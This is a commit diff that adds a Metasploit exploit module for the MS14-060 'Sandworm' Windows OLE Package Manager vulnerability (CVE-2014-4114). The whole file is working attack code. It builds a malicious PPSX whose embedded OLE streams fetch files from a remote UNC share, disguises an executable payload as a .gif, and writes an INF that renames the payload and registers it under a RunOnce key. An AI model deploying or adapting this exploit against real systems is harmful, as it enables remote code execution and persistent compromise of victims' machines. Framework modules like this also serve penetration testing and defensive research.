Add sandworm module
parent
0941b98596
commit
e40642799e
|
@ -0,0 +1,213 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "MS14-060 Microsoft Windows OLE Package Manager Code Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability Microsoft Windows from Vista SP2 to Windows 8,
|
||||
including Windows Server 2008 and 2012. The vulnerability exists in the OLE package
|
||||
magager, which allows to download and execute remote INF files silently. This module
|
||||
triggers the vulnerability through a malicious PPSX file, as exploited in the wild on
|
||||
October 2014.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Eduardo Prado', # Vulnerability discovery
|
||||
'sinn3r', # Metasploit module
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-4114'],
|
||||
['OSVDB', '113140'],
|
||||
['MSB', 'MS14-060'],
|
||||
['BID', '70419'],
|
||||
['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'],
|
||||
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'],
|
||||
['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows 7 SP1 / Office 2010 SP1', {}],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Oct 14 2014",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),
|
||||
OptString.new('UNCPATH', [ true, 'The UNC path to use (Ex: \\\\192.168.1.1\\share)', '\\\\172.16.158.1\\public' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
@unc = validate_unc
|
||||
|
||||
if @unc.nil?
|
||||
fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")
|
||||
end
|
||||
|
||||
print_status("Creating the EXE payload...")
|
||||
payload_name = "#{rand_text_alpha(4)}.gif"
|
||||
p = generate_payload_exe
|
||||
|
||||
print_status("Creating the INF file...")
|
||||
inf_name = "#{rand_text_alpha(4)}.inf"
|
||||
inf = inf_file(payload_name)
|
||||
|
||||
print_status("Creating '#{datastore['FILENAME']}' file ...")
|
||||
exe_stream = ole_exe(payload_name)
|
||||
inf_stream = ole_inf(inf_name)
|
||||
zip = zip_ppsx(exe_stream, inf_stream)
|
||||
file_create(zip)
|
||||
|
||||
payload_path = my_file_create(p, payload_name)
|
||||
print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}")
|
||||
|
||||
inf_path = my_file_create(inf, inf_name)
|
||||
print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")
|
||||
end
|
||||
|
||||
def validate_unc
|
||||
if datastore['UNCPATH'] =~ /\\\\([^\\]+)\\([^\\]+)/
|
||||
unc = datastore['UNPATH']
|
||||
else
|
||||
unc = nil
|
||||
end
|
||||
|
||||
unc
|
||||
end
|
||||
|
||||
def my_file_create(data, name)
|
||||
ltype = "exploit.fileformat.#{self.shortname}"
|
||||
path = store_local(ltype, nil, data, name)
|
||||
|
||||
path
|
||||
end
|
||||
|
||||
def zip_ppsx(ole_exe, ole_inf)
|
||||
zip_data = {}
|
||||
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')
|
||||
|
||||
Dir["#{data_dir}/**/**"].each do |file|
|
||||
unless File.directory?(file)
|
||||
zip_data[file.sub(data_dir,'')] = File.read(file)
|
||||
end
|
||||
end
|
||||
|
||||
#add the otherwise skipped "hidden" file
|
||||
file = "#{data_dir}/_rels/.rels"
|
||||
zip_data[file.sub(data_dir,'')] = File.read(file)
|
||||
|
||||
#put our own OLE streams
|
||||
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe
|
||||
zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf
|
||||
|
||||
#and lets create the file
|
||||
ppsx = Rex::Zip::Archive.new
|
||||
zip_data.each_pair do |k,v|
|
||||
ppsx.add_file(k,v)
|
||||
end
|
||||
|
||||
ppsx.pack
|
||||
end
|
||||
|
||||
def ole_inf(file_name)
|
||||
content = "EmbeddedStg2.txt\x00"
|
||||
content << "#{@unc}\\#{file_name}\x00"
|
||||
|
||||
data = [content.length].pack('V')
|
||||
data << content
|
||||
ole = create_ole("\x01OLE10Native", data)
|
||||
|
||||
ole
|
||||
end
|
||||
|
||||
def ole_exe(file_name)
|
||||
content = "EmbeddedStg1.txt\x00"
|
||||
content << "#{@unc}\\#{file_name}\x00"
|
||||
|
||||
data = [content.length].pack('V')
|
||||
data << content
|
||||
|
||||
ole = create_ole("\x01OLE10Native", data)
|
||||
|
||||
ole
|
||||
end
|
||||
|
||||
def create_ole(stream_name, data)
|
||||
ole_tmp = Rex::Quickfile.new('ole')
|
||||
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
|
||||
|
||||
stm = stg.create_stream(stream_name)
|
||||
stm << data
|
||||
stm.close
|
||||
|
||||
directory.each_entry do |entry|
|
||||
if entry.instance_variable_get(:@_ab) == 'Root Entry'
|
||||
# 02260200-0000-0000-c000-000000000046 # Video clip
|
||||
clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
|
||||
entry.instance_variable_set(:@_clsId, clsid)
|
||||
end
|
||||
end
|
||||
|
||||
# write to disk
|
||||
stg.close
|
||||
|
||||
ole_contents = File.read(ole_tmp.path)
|
||||
ole_tmp.close
|
||||
ole_tmp.unlink
|
||||
|
||||
ole_contents
|
||||
end
|
||||
|
||||
def inf_file(gif_name)
|
||||
inf = <<-EOF
|
||||
; 61883.INF
|
||||
; Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
[Version]
|
||||
Signature = "$CHICAGO$"
|
||||
Class=61883
|
||||
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
|
||||
Provider=%Msft%
|
||||
DriverVer=06/21/2006,6.1.7600.16385
|
||||
|
||||
[DestinationDirs]
|
||||
DefaultDestDir = 1
|
||||
|
||||
[DefaultInstall]
|
||||
RenFiles = RxRename
|
||||
AddReg = RxStart
|
||||
|
||||
[RxRename]
|
||||
#{gif_name}.exe, #{gif_name}
|
||||
[RxStart]#
|
||||
HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe
|
||||
EOF
|
||||
|
||||
inf
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue